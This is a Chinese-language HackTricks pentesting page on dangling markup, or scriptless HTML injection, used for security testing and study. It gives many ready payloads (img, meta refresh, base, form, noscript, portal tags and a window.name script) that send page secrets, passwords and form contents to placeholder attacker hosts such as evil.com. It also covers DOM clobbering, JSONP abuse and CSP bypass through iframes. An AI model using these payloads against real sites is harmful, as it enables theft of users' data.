hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/README.md

13 KiB
Raw Blame History

悬挂标记 - HTML无脚本注入

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

简介

当发现HTML注入时,此技术可用于从用户那里提取信息。如果您找不到利用XSS的方法,但可以注入一些HTML标记,这将非常有用。
如果某些秘密以明文保存在HTML中您想要从客户端中提取它,或者如果您想要误导某些脚本执行,这也很有用。

这里讨论的几种技术可以用于通过意想不到的方式html标记、CSS、http-meta标记、表单、base等绕过一些内容安全策略,以外泄信息。

主要应用

窃取明文秘密

如果您注入 <img src='http://evil.com/log.cgi?,当页面加载时,受害者将向您发送注入的img标记和代码中下一个引号之间的所有代码。如果某个秘密以某种方式位于该块中,您将窃取它(您也可以使用双引号执行相同操作,请查看哪种更有趣)。

如果img标记被禁止例如由于CSP您还可以使用 <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

请注意,Chrome会阻止包含"<"或"\n"的HTTP URL,因此您可以尝试其他协议方案,如"ftp"。

您还可以滥用CSS @import(将发送直到找到";"为止的所有代码)。

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

你也可以使用**<table**

<table background='//your-collaborator-id.burpcollaborator.net?'

你还可以插入一个<base标签。所有信息将被发送直到引号关闭但这需要一些用户交互用户必须点击某个链接因为base标签会改变链接指向的域

<base target='        <--- Injected
steal me'<b>test</b>

窃取表单

<base href='http://evil.com/'>

然后,发送数据到路径的表单(如<form action='update_profile.php'>)将会发送数据到恶意域。

窃取表单 2

设置一个表单头部:<form action='http://evil.com/log_steal'> 这将覆盖下一个表单头部,表单中的所有数据将被发送给攻击者。

窃取表单 3

按钮可以使用属性"formaction"来更改表单信息将被发送到的URL

<button name=xss type=submit formaction='https://google.com'>I get consumed!

窃取明文密码 2

使用最新提到的技术来窃取表单(注入新表单头部),然后可以注入一个新的输入字段:

<input type='hidden' name='review_body' value="

这个输入字段将包含 HTML 中双引号之间以及下一个双引号之间的所有内容。这种攻击将"窃取明文密码"与"窃取表单2"混合在一起。

您可以通过注入一个表单和一个<option>标签来执行相同的操作。直到找到闭合的</option>为止的所有数据将被发送:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

表单参数注入

您可以更改表单的路径并插入新值,从而执行意外操作:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

通过noscript窃取明文密码

<noscript></noscript> 是一个标签如果浏览器不支持JavaScript其内容将被解释您可以在Chrome中的chrome://settings/content/javascript中启用/禁用JavaScript

从注入点到底部将网页内容导出到攻击者控制的站点的一种方法是注入以下内容:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

通过用户交互绕过 CSP

从这个portswiggers的研究中,你可以了解到即使在最严格的 CSP 环境中,仍然可以通过一些用户交互外泄数据。在这种情况下,我们将使用以下有效载荷:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

请注意,您将要求受害者点击一个链接,该链接将将他重定向到您控制的payload。还请注意,base标签中的target属性将包含HTML内容,直到下一个单引号。
这将导致如果点击链接,window.name将是所有该HTML内容。因此,由于您控制受害者通过点击链接访问的页面,您可以访问**window.name外泄**这些数据:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

误导性脚本工作流程 1 - HTML 命名空间攻击

在 HTML 中插入一个带有 id 的新标签,该标签将覆盖下一个标签,并使用一个值来影响脚本的流程。在这个示例中,您可以选择要与谁分享信息:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

误导性脚本工作流 2 - 脚本命名空间攻击

通过插入HTML标签在javascript命名空间内创建变量。然后这个变量将影响应用程序的流程

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

滥用 JSONP

如果你发现了一个 JSONP 接口,你可以调用任意函数并传入任意数据:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

或者你甚至可以尝试执行一些 JavaScript

<script src='/search?q=a&call=alert(1)'></script>

Iframe 滥用

子文档具有查看和修改其父文档的 location 属性的能力,即使在跨源情况下也是如此。这允许在 iframe 中嵌入一个脚本,可以将客户端重定向到任意页面:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

这可以通过类似以下方式来减轻:sandbox=' allow-scripts allow-top-navigation'

一个iframe也可以被滥用来从不同页面泄露敏感信息使用iframe的name属性。这是因为你可以创建一个iframe它会通过滥用HTML注入来将敏感信息显示在iframe的name属性中然后从初始iframe访问该名称并泄露它。

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta 滥用

您可以使用 meta http-equiv 执行多个操作,如设置 Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1"> 或执行重定向(在此情况下为 5 秒): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

这可以通过关于 http-equivCSP避免 Content-Security-Policy: default-src 'self';, 或 Content-Security-Policy: http-equiv 'self';)

新的 <portal HTML 标签

您可以在这里找到关于 <portal 标签可利用漏洞的非常有趣的研究 here
在撰写本文时,您需要在 Chrome 中启用 portal 标签 chrome://flags/#enable-portals,否则它将无法正常工作。

<portal src='https://attacker-server?

HTML泄漏

并非所有在HTML中泄漏连接的方式都对悬挂标记有用但有时可能会有帮助。在这里检查它们https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Leaks

这是悬挂标记和XS-Leaks的混合。一方面,这种漏洞允许在我们将要攻击的同源页面注入HTML但不包括JS。另一方面我们不会直接攻击可以注入HTML的页面而是另一个页面

{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}

XS-Search/XS-Leaks

XS-Search旨在利用侧信道攻击窃取跨源信息。因此这是一种与悬挂标记不同的技术然而一些技术滥用了包含HTML标记带有和不带有JS执行的方式比如CSS注入延迟加载图片

{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}

暴力检测列表

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

参考资料

从零开始学习AWS黑客技术 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式